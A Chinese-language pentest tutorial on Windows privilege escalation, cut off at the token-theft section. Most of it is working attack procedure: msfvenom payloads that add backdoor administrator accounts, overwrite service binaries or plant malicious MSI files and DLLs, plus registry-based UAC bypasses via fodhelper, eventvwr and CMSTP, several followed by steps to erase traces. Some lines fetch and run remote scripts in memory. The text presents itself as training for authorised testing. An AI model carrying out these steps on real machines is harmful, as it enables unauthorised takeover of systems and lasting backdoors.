Windows权限提升实战全攻略:从服务配置到内核漏洞的15种提权路径详解
【提示】 本文所有技术内容仅用于授权渗透测试、安全研究和学习目的。未经授权对他人系统进行提权攻击属于违法行为。请务必在合法授权范围内进行操作,遵守当地网络安全法律法规。
前言:为什么Windows提权是渗透测试的核心技能
在渗透测试的实战流程中,初始访问往往以低权限账户作为起点——无论是一个普通的WebShell、一个低权限的服务账户,还是一个普通域用户的凭据。而权限提升,则是将这个低权限立足点扩大到最高权限(SYSTEM或Domain Admin)的关键桥梁。
Windows操作系统作为企业环境中最广泛部署的服务器和工作站平台,其权限提升技术体系庞大且持续演进。从经典的 服务配置错误、注册表滥用、UAC绕过,到现代的内核漏洞利用、令牌窃取、AD域攻击,攻击面极其丰富。
本文将从基础权限体系出发,系统性地梳理Windows提权的完整知识图谱,涵盖15种主流提权路径,每种路径均配有实际可用的命令、代码示例和完整利用流程。
一、Windows权限体系基础
1.1 Windows安全模型核心概念
Windows的安全子系统建立在多个核心概念之上,理解这些概念是掌握提权技术的地基。
| 安全概念 | 全称 | 说明 |
|---|---|---|
| SID | Security Identifier | 安全标识符,唯一标识每个用户/组/计算机账户 |
| ACL | Access Control List | 访问控制列表,附加在安全对象上 |
| DACL | Discretionary ACL | 自主访问控制列表,定义谁可以访问对象 |
| SACL | System ACL | 系统访问控制列表,定义哪些访问会被审计 |
| ACE | Access Control Entry | 访问控制条目,ACL中的单条规则 |
| Token | Access Token | 访问令牌,进程的身份凭证 |
| Privilege | Privilege | 特权,账户可执行的特殊操作权限 |
| MIC | Mandatory Integrity Control | 强制完整性控制,完整性级别机制 |
【提示】 每个进程在创建时都会获得一个访问令牌(Token),令牌中包含用户的SID、所属组SID、特权列表和完整性级别。提权的本质就是获取一个更高权限的令牌。
1.2 用户与组管理
Windows内置了大量关键用户和组,掌握它们的权限差异至关重要。
| 账户/组 | 说明 | 权限级别 |
|---|---|---|
| SYSTEM (NT AUTHORITY\SYSTEM) | Local System账户,操作系统的最高权限身份 | 最高,相当于root |
| Administrator | 内置管理员账户 | 高权限,受UAC约束 |
| Administrators组 | 管理员组成员 | 高权限,受UAC约束 |
| Power Users组 | 高级用户组(已弃用但可能存在) | 中等权限 |
| Users组 | 普通用户组 | 低权限 |
| Authenticated Users | 所有通过身份验证的用户 | 低权限 |
| Everyone | 所有用户(含匿名) | 最低权限 |
查看当前用户和权限的命令:
# 查看当前用户
whoami
# 查看当前用户权限详情(用户、组、SID、特权)
whoami /all
# 查看当前特权
whoami /priv
# 查看所属组
whoami /groups
# 列出所有本地用户
net user
# 查看指定用户详情
net user Administrator
# 列出本地组
net localgroup
# 查看Administrators组成员
net localgroup Administrators
# 查看当前登录用户
query user
1.3 UAC机制详解
用户账户控制(UAC,User Account Control)是Windows Vista引入的安全机制,旨在限制程序在管理员权限下的自动运行。
UAC的核心是完整性级别机制:
| 完整性级别 | 值 | 说明 |
|---|---|---|
| Untrusted | 0x0000 | 不可信,极少使用 |
| Low | 0x1000 | 低完整性,如浏览器沙箱进程 |
| Medium | 0x2000 | 中等完整性,普通用户默认级别 |
| High | 0x3000 | 高完整性,管理员提升后的级别 |
| System | 0x4000 | 系统完整性,SYSTEM账户级别 |
# 查看当前完整性级别
whoami /groups | findstr "Integrity"
# 查看进程完整性级别(需要Process Explorer或自身工具)
# PowerShell方式获取完整性级别
Get-Process | Select-Object Name, Id, @{Name='Integrity';Expression={
$proc = $_
try {
$h = Get-Process -Id $proc.Id -IncludeUserName
$h.StartInfo
} catch { "N/A" }
}}
【提示】 UAC将管理员账户的默认令牌限制在Medium完整性级别。当需要执行管理员操作时,会触发UAC提示。如果程序的manifest中声明了
requireAdministrator,系统会自动弹出UAC窗口。绕过UAC是Windows提权的重要环节。
1.4 令牌特权速查表
以下是Windows中与提权密切相关的关键特权:
| 特权名称 | 显示名称 | 提权利用场景 |
|---|---|---|
| SeImpersonatePrivilege | 为客户端模拟 | Potato家族提权,令牌模拟 |
| SeAssignPrimaryTokenPrivilege | 替换进程级令牌 | 与SeImpersonate配合提权 |
| SeDebugPrivilege | 调试程序 | 进程注入,窃取SYSTEM令牌 |
| SeTcbPrivilege | 作为操作系统的一部分 | 高级令牌操作 |
| SeBackupPrivilege | 备份文件和目录 | 读取SAM/SYSTEM文件 |
| SeRestorePrivilege | 还原文件和目录 | 写入系统文件 |
| SeLoadDriverPrivilege | 加载和卸载设备驱动 | 加载恶意驱动 |
| SeTakeOwnershipPrivilege | 取得文件所有权 | 夺取系统文件所有权 |
| SeManageVolumePrivilege | 管理卷 | 内核提权利用 |
1.5 Windows权限相关命令速查表
# 系统信息
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
# 补丁信息
wmic qfe list
wmic qfe get Caption,Description,HotFixID,InstalledOn
# 已安装软件
wmic product get name,version,vendor
Get-WmiObject -Class Win32_Product | Select-Object Name, Version
# 网络信息
ipconfig /all
netstat -ano
arp -a
route print
# 防火墙规则
netsh advfirewall firewall show rule name=all
# 服务信息
sc query state= all
wmic service get name,displayname,path,name,startmode
# 计划任务
schtasks /query /fo TABLE /v
# 用户和组
whoami /all
net user
net localgroup
net localgroup Administrators
# 注册表查询
reg query HKLM\SOFTWARE
二、信息收集自动化
信息收集是提权的第一步,决定了后续利用路径的选择。高质量的自动化工具能极大提升效率。
2.1 自动化提权枚举工具
WinPEAS
WinPEAS是Windows环境中最全面的提权枚举工具,覆盖服务、注册表、文件权限、计划任务等数十个维度。
# 下载并执行WinPEAS(.exe版本)
winpeas.exe
# 扈制为文件输出
winpeas.exe > winpeas_output.txt
# PowerShell版本
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASps1/winPEAS.ps1'); Invoke-WinPEAS"
# 指定输出格式
winpeas.exe fast
winpeas.exe cmd
winpeas.exe searchfast
Seatbelt
Seatbelt是C#编写的信息收集工具,由HarmJ0y开发,专注于收集可能与提权相关的配置数据。
# 编译执行
Seatbelt.exe -group=all
# 查看特定组的信息
Seatbelt.exe -group=system
Seatbelt.exe -group=chrome
Seatbelt.exe -group=interestingfiles
# 查看特定项目
Seatbelt.exe PowerShell
Seatbelt.exe WindowsAutoLogon
Seatbelt.exe ScheduledTasks
Seatbelt.exe Registry
PowerUp
PowerUp是PowerSploit框架中的提权模块,专门检测常见配置错误并可直接利用。
# 导入模块
Import-Module PowerUp.ps1
# 执行所有检查
Invoke-AllChecks
# 查看可修改的服务
Get-ModifiableService
# 查找可修改的服务文件
Get-ModifiableServiceFile
# 查找未引用的服务路径
Get-ServiceUnquoted
# 查找可写的注册表AutoRun项
Get-RegistryAutoStart
# 检查AlwaysInstallElevated
Get-RegistryAlwaysInstallElevated
# 测试可用于提权的计划任务
Get-ScheduledTask
PrivescCheck
PrivescCheck是轻量级的PowerShell提权检查脚本,适合隐蔽执行。
# 执行全面检查
Set-ExecutionPolicy Bypass -Scope Process -Force
. .\PrivescCheck.ps1
Invoke-PrivescCheck
# 输出为CSV
Invoke-PrivescCheck -Format CSV | Out-File privesc.csv
# 输出为HTML报告
Invoke-PrivescCheck -Format HTML | Out-File privesc.html
2.2 系统信息收集清单
在进行任何提权尝试前,需要全面收集目标系统的以下信息:
| 收集维度 | 具体内容 | 命令 |
|---|---|---|
| 操作系统 | 版本、Build号、架构 | systeminfo |
| 补丁状态 | 已安装补丁列表 | wmic qfe list |
| 已安装软件 | 软件名、版本、路径 | wmic product get name,version |
| 用户信息 | 当前用户、组成员、特权 | whoami /all |
| 服务列表 | 服务名、路径、启动方式 | sc query state= all |
| 计划任务 | 任务名、执行路径、权限 | schtasks /query /fo LIST /v |
| 网络配置 | IP、路由、ARP、端口 | ipconfig /all; netstat -ano |
| 注册表 | AutoRun、AlwaysInstallElevated | reg query 系列 |
| 文件权限 | 可写目录、可写文件 | accesschk |
| 防火墙状态 | 规则、开放端口 | netsh advfirewall firewall |
| AV/EDR | 防护软件及其进程 | Get-Process |
| WiFi密码 | 已保存WiFi凭据 | netsh wlan show profile |
2.3 PowerShell信息收集命令集
# 操作系统和补丁信息
Get-CimInstance -ClassName Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber, OSArchitecture
Get-HotFix | Select-Object HotFixID, Description, InstalledOn | Sort-Object InstalledOn -Descending
# 已安装软件
Get-CimInstance -ClassName Win32_Product | Select-Object Name, Version, Vendor, InstallDate
# 服务信息
Get-CimInstance -ClassName Win32_Service | Select-Object Name, DisplayName, PathName, StartMode, State, StartName
# 计划任务
Get-ScheduledTask | Select-Object TaskName, TaskPath, State, @{Name='Action';Expression={$_.Actions.Execute}}
# 用户和组
Get-LocalUser | Select-Object Name, Enabled, Description
Get-LocalGroupMember -Group Administrators
# 网络连接
Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess
# 查找以SYSTEM权限运行的服务
Get-CimInstance -ClassName Win32_Service | Where-Object {$_.StartName -match "LocalSystem|LocalService|NetworkService"} | Select-Object Name, PathName
# 查找可写的文件夹
Get-ChildItem -Path C:\ -Directory | ForEach-Object {
$path = $_.FullName
try {
$testFile = "$path\test_write_access.tmp"
[System.IO.File]::Create($testFile).Close()
Remove-Item $testFile -Force
Write-Output "Writable: $path"
} catch {}
}
2.4 自动化枚举脚本完整代码
以下是一个完整的自定义提权信息收集脚本,可在无第三方工具依赖的情况下运行:
<#
.SYNOPSIS
Windows提权信息收集脚本 - 自定义轻量版
.DESCRIPTION
收集系统信息、服务配置、计划任务、注册表、文件权限等提权相关信息
.NOTES
仅用于授权安全测试
#>
$ErrorActionPreference = "SilentlyContinue"
function Write-Section($title) {
Write-Output ""
Write-Output "=== $title ==="
Write-Output ""
}
# 系统基本信息
Write-Section "System Information"
$os = Get-CimInstance Win32_OperatingSystem
Write-Output "OS: $($os.Caption) $($os.Version) Build $($os.BuildNumber)"
Write-Output "Architecture: $($os.OSArchitecture)"
Write-Output "Install Date: $($os.InstallDate)"
Write-Output "Last Boot: $($os.LastBootUpTime)"
# 当前用户信息
Write-Section "Current User"
Write-Output "User: $env:USERNAME"
Write-Output "Domain: $env:USERDOMAIN"
Write-Output "Computer: $env:COMPUTERNAME"
# 特权信息
Write-Section "Privileges"
whoami /priv
# 组信息
Write-Section "Group Membership"
whoami /groups
# 补丁信息
Write-Section "Installed Hotfixes"
Get-HotFix | Select-Object HotFixID, InstalledOn | Sort-Object InstalledOn -Descending | Format-Table -AutoSize
# 服务信息(重点:以SYSTEM运行且路径可写)
Write-Section "Services Running as SYSTEM"
Get-CimInstance Win32_Service | Where-Object {
$_.State -eq "Running" -and $_.StartName -match "LocalSystem|LocalService|NetworkService"
} | Select-Object Name, DisplayName, PathName, StartMode | Format-Table -AutoSize -Wrap
# 未引用的服务路径
Write-Section "Unquoted Service Paths"
Get-CimInstance Win32_Service | Where-Object {
$_.PathName -and $_.PathName -notmatch '"' -and $_.PathName -match ' '
} | Select-Object Name, PathName | Format-Table -AutoSize -Wrap
# 计划任务
Write-Section "Scheduled Tasks"
Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" } | ForEach-Object {
$task = $_
$info = Get-ScheduledTaskInfo -TaskName $task.TaskName -TaskPath $task.TaskPath
[PSCustomObject]@{
TaskName = $task.TaskName
Path = $task.TaskPath
State = $task.State
LastRun = $info.LastRunTime
NextRun = $info.NextRunTime
Actions = ($task.Actions.Execute -join "; ")
}
} | Format-Table -AutoSize -Wrap
# 注册表AutoRun项
Write-Section "Registry AutoRun Entries"
$autoRunKeys = @(
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"
)
foreach ($key in $autoRunKeys) {
if (Test-Path $key) {
Write-Output "Key: $key"
Get-ItemProperty -Path $key | Select-Object * -ExcludeProperty PS* | Format-List
}
}
# AlwaysInstallElevated检查
Write-Section "AlwaysInstallElevated Check"
$hkcu = (Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue).AlwaysInstallElevated
$hklm = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue).AlwaysInstallElevated
Write-Output "HKCU AlwaysInstallElevated: $hkcu"
Write-Output "HKLM AlwaysInstallElevated: $hklm"
# 自动登录凭据
Write-Section "AutoLogon Credentials"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
Select-Object DefaultUserName, DefaultPassword, DefaultDomainName, AltDefaultUserName, AltDefaultPassword
# 可写目录检测
Write-Section "World-Writable Directories in Program Files"
$writableDirs = @()
Get-ChildItem "C:\Program Files\","C:\Program Files (x86)\","C:\" -Directory | ForEach-Object {
$path = $_.FullName
$testFile = Join-Path $path ".write_test_$(Get-Random)"
try {
[System.IO.File]::WriteAllText($testFile, "test")
Remove-Item $testFile -Force
$writableDirs += $path
Write-Output "WRITABLE: $path"
} catch {}
}
Write-Section "Enumeration Complete"
【提示】 信息收集阶段应尽量减少网络外联,优先使用系统自带工具或无依赖的脚本。大量外联流量容易触发EDR告警。在实际渗透中,脚本应从本地加载而非远程下载执行。
三、服务配置错误提权
服务配置错误是Windows提权中最常见的路径之一。Windows服务通常以高权限(如SYSTEM)运行,而其配置往往存在权限过宽的问题。
3.1 服务权限配置分析
使用accesschk分析服务权限
# 下载Sysinternals accesschk
# 分析所有服务的权限,查找当前用户可修改的服务
accesschk.exe -uwcqv "Authenticated Users" *
# 查找指定用户可修改的服务
accesschk.exe -uwcqv "Users" *
# 查找当前用户可修改的服务
accesschk.exe -uwcqv %username% *
# 查找Everyone可修改的服务
accesschk.exe -uwcqv "Everyone" *
# 查看指定服务的详细权限
accesschk.exe -ucqv Servicename
# 查看服务二进制路径的文件权限
accesschk.exe -uwcqv "Authenticated Users" -accepteula
使用sc命令分析服务
# 查询服务配置(关键:查看BINARY_PATH_NAME和SERVICE_START_NAME)
sc qc Spooler
# 查询服务状态
sc query Spooler
# 列出所有服务
sc query state= all
# 查看服务描述
sc description Servicename
# 修改服务binPath(如果拥有权限)
sc config Servicename binPath= "C:\path\to\payload.exe"
# 修改服务启动方式(设置为自动启动)
sc config Servicename start= auto
# 启动服务
sc start Servicename
# 停止服务
sc stop Servicename
【提示】
sc qc输出中的BINARY_PATH_NAME是服务可执行文件路径,SERVICE_START_NAME是服务运行账户。如果服务以SYSTEM运行且路径可写或权限可改,即可提权。
3.2 可写服务路径利用(Unquoted Service Path)
当服务路径包含空格且未用引号包裹时,Windows会按照路径顺序尝试执行文件。
例如,服务路径为 C:\Program Files\My Service\service.exe(无引号),Windows会依次尝试:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My Service\service.exe
# 查找未引用的服务路径
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "system32"
# 使用PowerShell查找
Get-CimInstance Win32_Service | Where-Object {
$_.PathName -and $_.PathName -notmatch '"' -and $_.PathName -match ' '
} | Select-Object Name, PathName, StartName
# 使用PowerUp
Import-Module PowerUp.ps1
Get-ServiceUnquoted
# 检查可写路径
accesschk.exe -d -u -w "C:\Program Files\My Service"
# 如果返回Writable,则可以在该目录放置恶意文件
# 创建恶意可执行文件
msfvenom -p windows/x64/exec CMD='net localgroup administrators user /add' -f exe -o "C:\Program Files\My.exe"
# 重启服务触发执行
sc start "VulnerableService"
# 或等待服务自动启动
3.3 服务BINARY_PATH_NAME可写利用
如果服务可执行文件所在的目录或文件本身可被当前用户写入,可以直接替换可执行文件。
# 查找服务可执行文件路径
sc qc TargetService
# 检查文件权限
icacls "C:\Service\TargetService.exe"
# 检查目录权限
icacls "C:\Service"
# 使用accesschk检查
accesschk.exe -uwcqv "Users" "C:\Service\TargetService.exe"
# 备份原始文件(重要!保持隐蔽)
copy "C:\Service\TargetService.exe" "C:\Service\TargetService.exe.bak"
# 生成恶意payload
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f exe -o "C:\Service\TargetService.exe"
# 重启服务
sc stop TargetService
sc start TargetService
# 验证提权
whoami /groups
net localgroup Administrators
3.4 服务权限滥用(SERVICE_ALL_ACCESS)
如果当前用户对某个服务拥有完全控制权限(SERVICE_ALL_ACCESS),可以直接修改服务配置指向恶意程序。
# 确认服务权限
accesschk.exe -ucqv "Authenticated Users" TargetService
# 如果拥有 SC_MANAGER_CHANGE_CONFIG 或 SERVICE_CHANGE_CONFIG 权限
# 修改服务binPath为恶意程序
sc config TargetService binPath= "C:\Temp\payload.exe"
# 修改服务以SYSTEM启动(如果当前不是)
sc config TargetService obj= LocalSystem
# 启动服务触发执行
sc start TargetService
# 恢复原配置(清理痕迹)
sc config TargetService binPath= "C:\Original\Path\service.exe"
3.5 PowerUp的Get-ModifiableService使用
PowerUp提供了一键式发现和利用服务配置错误的能力。
# 导入PowerUp
Import-Module .\PowerUp.ps1
# 查找所有可修改的服务
Get-ModifiableService -ErrorAction SilentlyContinue
# 查找可修改的服务文件(可写的服务可执行文件)
Get-ModifiableServiceFile
# 查找未引用的服务路径
Get-ServiceUnquoted
# 一键执行所有检查
Invoke-AllChecks
# 直接利用可修改的服务提权
# -ServiceName 指定要利用的服务
# -Command 指定要执行的命令
Invoke-ServiceAbuse -ServiceName TargetService -Command "net localgroup administrators user /add"
# 使用DLL利用方式
Invoke-ServiceAbuse -ServiceName TargetService -Command "C:\Temp\payload.exe"
3.6 完整服务提权利用流程
以下是一个完整的服务配置错误提权流程:
# 步骤1:发现可修改的服务
accesschk.exe -uwcqv "Authenticated Users" * | findstr /v "No"
# 假设发现 VulnService 可被修改
# 步骤2:查看服务详细信息
sc qc VulnService
# 输出示例:
# BINARY_PATH_NAME: C:\VulnService\service.exe
# SERVICE_START_NAME: LocalSystem
# 步骤3:检查binPath所在目录权限
icacls "C:\VulnService"
# 如果显示 Users:(M) 或 Users:(F),则目录可写
# 步骤4:备份原始服务文件
copy "C:\VulnService\service.exe" "C:\VulnService\service.exe.bak"
# 步骤5:生成恶意可执行文件(以添加用户为例)
msfvenom -p windows/x64/exec CMD='net user backdoor P@ssw0rd! /add && net localgroup administrators backdoor /add' -f exe -o "C:\VulnService\service.exe"
# 步骤6:停止并重启服务
sc stop VulnService
sc start VulnService
# 步骤7:验证提权结果
net localgroup administrators
# 步骤8:恢复原始文件清理痕迹
copy /Y "C:\VulnService\service.exe.bak" "C:\VulnService\service.exe"
del "C:\VulnService\service.exe.bak"
【提示】 在修改服务文件时,务必先备份原始文件。部分服务停止后可能导致系统功能异常,应选择非关键服务或确保服务可安全重启。在生产环境中测试时,建议先在实验环境验证完整流程。
四、注册表提权
Windows注册表是系统配置的核心存储库,许多注册表配置错误可直接用于权限提升。
4.1 注册表基础结构表
| 根键缩写 | 完整名称 | 说明 |
|---|---|---|
| HKEY_CLASSES_ROOT (HKCR) | Classes Root | 文件关联和COM对象信息 |
| HKEY_CURRENT_USER (HKCU) | Current User | 当前用户的配置信息 |
| HKEY_LOCAL_MACHINE (HKLM) | Local Machine | 本机系统级配置 |
| HKEY_USERS (HKU) | Users | 所有用户的配置信息 |
| HKEY_CURRENT_CONFIG (HKCC) | Current Config | 当前硬件配置信息 |
# 注册表基本操作命令
# 查询键值
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# 查询指定子键
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# 查询远程注册表
reg query \\RemotePC\HKLM\SOFTWARE\Microsoft /v ProductName
# 添加键值
reg add "HKLM\SOFTWARE\test" /v testvalue /t REG_SZ /d "testdata" /f
# 删除键值
reg delete "HKLM\SOFTWARE\test" /f
# 导出注册表项
reg export "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" run_backup.reg
# 导入注册表
reg import settings.reg
4.2 AlwaysInstallElevated提权
当注册表中 AlwaysInstallElevated 键值被设置为1时,任何MSI安装包都将以SYSTEM权限执行,而不管当前用户的权限级别。
# 检查AlwaysInstallElevated是否启用
# 检查HKCU
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 检查HKLM
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 两个键值都返回 0x1 时,表示已启用
# 使用PowerUp检查
Import-Module PowerUp.ps1
Get-RegistryAlwaysInstallElevated
# 利用方式1:使用msfvenom生成恶意MSI
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f msi -o /tmp/payload.msi
# 利用方式2:直接使用msiexec安装
# /quiet 静默安装 /qn 无UI
msiexec /quiet /qn /i C:\Temp\payload.msi
# 利用方式3:使用PowerUp直接提权
Write-UserAddMSI
# 这会在当前目录生成一个UserAdd.msi文件,执行后弹出添加用户的GUI
【提示】 AlwaysInstallElevated通常由组策略配置导致。如果只检查到HKCU或HKLM其中一个为1,提权不会成功——必须两个键值同时为1。
4.3 注册表服务配置可写利用
某些服务的配置存储在注册表中,如果注册表键权限配置错误,可修改服务指向恶意程序。
# 查找服务对应的注册表位置
# 服务注册表路径:HKLM\SYSTEM\CurrentControlSet\Services\
reg query HKLM\SYSTEM\CurrentControlSet\Services /s | findstr "ImagePath"
# 检查服务注册表项的权限
# 使用accesschk检查注册表权限
accesschk.exe -uwcqv "Authenticated Users" -k "HKLM\SYSTEM\CurrentControlSet\Services\VulnService"
# 如果当前用户有写权限,修改ImagePath
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\payload.exe" /f
# 修改服务启动方式为自动
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v Start /t REG_DWORD /d 2 /f
# 重启或手动启动服务
sc start VulnService
# 或等待系统重启
# 恢复原始ImagePath清理痕迹
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Original\service.exe" /f
4.4 注册表Autorun提权
许多程序在系统启动时通过注册表AutoRun项自动运行。如果这些AutoRun项指向的文件可写,则可替换为恶意程序实现提权。
# 查找所有AutoRun注册表项
# HKLM Run键
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# HKCU Run键
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# HKLM RunOnce键
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
# HKCU RunOnce键
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
# WOW6432Node(32位程序在64位系统上)
reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"
# 使用PowerUp查找可修改的AutoRun项
Import-Module PowerUp.ps1
Get-RegistryAutoStart
# 检查AutoRun项指向的文件是否可写
# 例如发现AutoRun项指向 C:\Programs\AutoRunApp.exe
icacls "C:\Programs\AutoRunApp.exe"
# 如果可写,备份并替换
copy "C:\Programs\AutoRunApp.exe" "C:\Programs\AutoRunApp.exe.bak"
# 生成恶意程序
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f exe -o "C:\Programs\AutoRunApp.exe"
# 等待系统重启或用户重新登录触发执行
# 也可以尝试触发重启
shutdown /r /t 0
【提示】 AutoRun提权需要等待系统重启或用户重新登录才能触发。在实际测试中,可查看系统最后的启动时间来判断重启频率。强制重启系统可能导致业务中断,需谨慎操作。
五、UAC绕过技术
用户账户控制(UAC)是Windows管理员账户的安全防护层。当以管理员身份登录时,默认进程运行在Medium完整性级别。UAC绕过的目标是在不提示用户的情况下,将进程提升到High完整性级别。
5.1 UAC机制与完整性级别详解
UAC的工作原理基于完整性级别标签:
| 场景 | 完整性级别 | 行为 |
|---|---|---|
| 普通用户进程 | Medium | 默认级别,受限于ACL |
| 管理员未提升进程 | Medium | UAC过滤令牌,特权被移除 |
| 管理员已提升进程 | High | 完整令牌,所有特权可用 |
| SYSTEM进程 | System | 最高级别,操作系统进程 |
| AppContainer/UWP | Low/AppContainer | 沙箱级别 |
# 检查当前UAC配置
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
# EnableLUA = 1 表示UAC已启用
# 检查UAC通知级别
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
# 0 = 不提示直接提升
# 2 = 提示在安全桌面(默认)
# 5 = 提示在非安全桌面
5.2 UAC绕过方法分类表
| 绕过类型 | 原理 | 代表方法 |
|---|---|---|
| 自动提升的组件 | 某些系统程序manifest标记autoElevate | fodhelper、eventvwr |
| COM接口劫持 | 劫持COM对象注册表 | ICMLuaUtil、ColorDataProxy |
| 环境变量注入 | 修改系统环境变量 | windir环境变量绕过 |
| DLL劫持 | 在搜索路径放置恶意DLL | 系统进程DLL劫持 |
| 注册表劫持 | 修改HKCU中的类注册项 | ms-settings劫持 |
5.3 fodhelper绕过
fodhelper.exe是一个Windows可选功能管理工具,其manifest标记了 autoElevate,且会读取HKCU中的注册表项。
# 步骤1:检查fodhelper是否存在
where fodhelper
# 步骤2:在HKCU创建ms-settings注册表项
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "" /t REG_SZ /d "cmd /c C:\Temp\payload.exe" /f
# 步骤3:添加DelegateExecute键值(fodhelper会检查此键值是否存在)
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /t REG_SZ /d "" /f
# 步骤4:生成payload
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f exe -o "C:\Temp\payload.exe"
# 步骤5:启动fodhelper触发绕过
fodhelper.exe
# 步骤6:验证提权
whoami /groups
# 步骤7:清理注册表
reg delete "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f
# PowerShell版本
# 使用UACME项目
# UACME编号: 33 (fodhelper)
【提示】 fodhelper绕过仅适用于UAC设置为"通知我"或更低级别的情况。如果UAC设置为"始终通知"(最严格级别),此方法无效。UAC的严格程度由
ConsentPromptBehaviorAdmin键值决定。
5.4 eventvwr绕过
eventvwr.exe(事件查看器)同样标记了autoElevate,且会读取HKCU中的注册表项来加载管理单元。
# 创建注册表项
reg add "HKCU\Software\Classes\mscfile\Shell\Open\command" /v "" /t REG_SZ /d "cmd /c C:\Temp\payload.exe" /f
reg add "HKCU\Software\Classes\mscfile\Shell\Open\command" /v "DelegateExecute" /t REG_SZ /d "" /f
# 启动eventvwr触发绕过
eventvwr.exe
# 验证提权
whoami /groups
# 清理注册表
reg delete "HKCU\Software\Classes\mscfile\Shell\Open\command" /f
5.5 CMSTP绕过
cmstp.exe是连接管理器服务配置文件安装程序,可被用于UAC绕过。
# 方法1:通过CMSTP执行命令
# 创建恶意INF文件
cat > C:\Temp\test.inf << 'EOF'
[version]
Signature=$CHICAGO$
[DefaultInstall]
UnRegisterOCXs=UnRegisterOCX
[UnRegisterOCX]
%11%\cmd.exe|c:\temp\payload.exe
EOF
# 执行CMSTP
cmstp.exe /s C:\Temp\test.inf
# 方法2:通过CMSTP直接执行(利用COM对象)
# 使用PowerShell脚本
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/tyranid/UACME/master/UACMe.ps1'); Invoke-CmstpBypass -Payload 'C:\Temp\payload.exe'"
5.6 DLL劫持UAC绕过
某些autoElevate的系统程序在启动时会加载DLL,如果能在DLL搜索路径中放置恶意DLL,可实现UAC绕过。
# 步骤1:使用Process Monitor分析autoElevate程序的DLL加载
# 设置过滤器:Process Name = 目标程序, Result = NAME NOT FOUND
# 步骤2:找到程序尝试加载但不存在的DLL
# 例如发现目标程序尝试加载 C:\Windows\System32\vuln.dll 失败
# 步骤3:如果在可写目录中找到可利用的DLL搜索位置
# 检查C:\Windows\System32\是否可写(通常不可)
# 但某些程序的当前工作目录或搜索路径可能可写
# 步骤4:生成恶意DLL
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f dll -o vuln.dll
# 步骤5:放置DLL到可利用路径
copy vuln.dll C:\Windows\System32\vuln.dll
# 或者放置到程序的工作目录
# 步骤6:启动目标程序触发DLL加载
target_program.exe
5.7 UACME工具使用
UACME是集成了数十种UAC绕过方法的工具框架,包含超过70种绕过技术。
# 编译UACME
# 使用Visual Studio编译
# 或者下载预编译版本
# 使用UACME执行UAC绕过
# 语法:uacme.exe [method_number] [command]
# 方法编号33:fodhelper绕过
UACME.exe 33 C:\Temp\payload.exe
# 方法编号40:eventvwr绕过
UACME.exe 40 C:\Temp\payload.exe
# 方法编号56:CMSTP绕过
UACME.exe 56 C:\Temp\payload.exe
# 方法编号61:环境变量绕过
UACME.exe 61 C:\Temp\payload.exe
# 查看所有可用方法
UACME.exe list
【提示】 UAC绕过技术需要当前用户已处于管理员组中(即Filtered Token为管理员)。如果是普通用户(非管理员组成员),UAC绕过无法直接提权到SYSTEM——这种情况下需要寻找其他提权路径。UAC绕过的本质是绕过管理员提权确认提示。
六、令牌窃取与模拟
令牌窃取是Windows提权的核心技术之一。当进程拥有特定特权(如SeImpersonatePrivilege)时,可以模拟或窃取其他进程的令牌,从而获得更高权限。
6.1 令牌类型表
| 令牌类型 | 说明 | 获取方式 |
|---|---|---|
